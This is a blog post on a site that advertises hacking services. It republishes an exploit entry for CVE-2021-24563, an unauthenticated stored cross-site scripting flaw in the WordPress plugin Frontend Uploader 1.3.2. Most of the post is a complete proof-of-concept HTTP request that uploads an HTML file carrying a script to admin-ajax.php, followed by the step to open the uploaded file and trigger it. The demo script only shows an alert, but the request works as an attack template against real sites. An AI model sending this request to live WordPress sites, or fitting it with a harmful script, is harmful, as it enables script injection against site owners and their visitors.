Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108483

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WordPress Plugin Frontend Uploader 1.3.2 - Stored Cross Site Scripting (XSS) (Unauthenticated)
# Date: 10/01/2022
# Exploit Author: Veshraj Ghimire
# Vendor Homepage: https://wordpress.org/plugins/frontend-uploader/
# Software Link: https://plugins.trac.wordpress.org/browser/frontend-uploader/
# Version: 1.3.2
# Tested on: Windows 10 - Chrome, WordPress 5.8.2
# CVE :  CVE-2021-24563

# References:

https://www.youtube.com/watch?v=lfrLoHl4-Zs
https://wpscan.com/vulnerability/e53ef41e-a176-4d00-916a-3a03835370f1

# Description:

The plugin does not prevent HTML files from being uploaded via its form, allowing unauthenticated user to upload a malicious HTML file containing JavaScript for example, which will be triggered when someone access the file directly


# Proof Of Concept:


POST /wp-admin/admin-ajax.php HTTP/1.1

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;
boundary=---------------------------124662954015823207281179831654

Content-Length: 1396

Connection: close

Upgrade-Insecure-Requests: 1


-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_ID"


1247

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_title"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="post_content"


test

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="files[]"; filename="xss.html"

Content-Type: text/html


<script>alert(/XSS/)</script>

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="action"


upload_ugc

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_layout"


image

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="fu_nonce"


021fb612f9

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="_wp_http_referer"


/wordpress/frontend-uploader-form/

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="ff"


92b6cbfa6120e13ff1654e28cef2a271

-----------------------------124662954015823207281179831654

Content-Disposition: form-data; name="form_post_id"


1247

-----------------------------124662954015823207281179831654--



Then access the uploaded to trigger the XSS, ie https://example.com/wp-content/uploads/2021/07/xss.html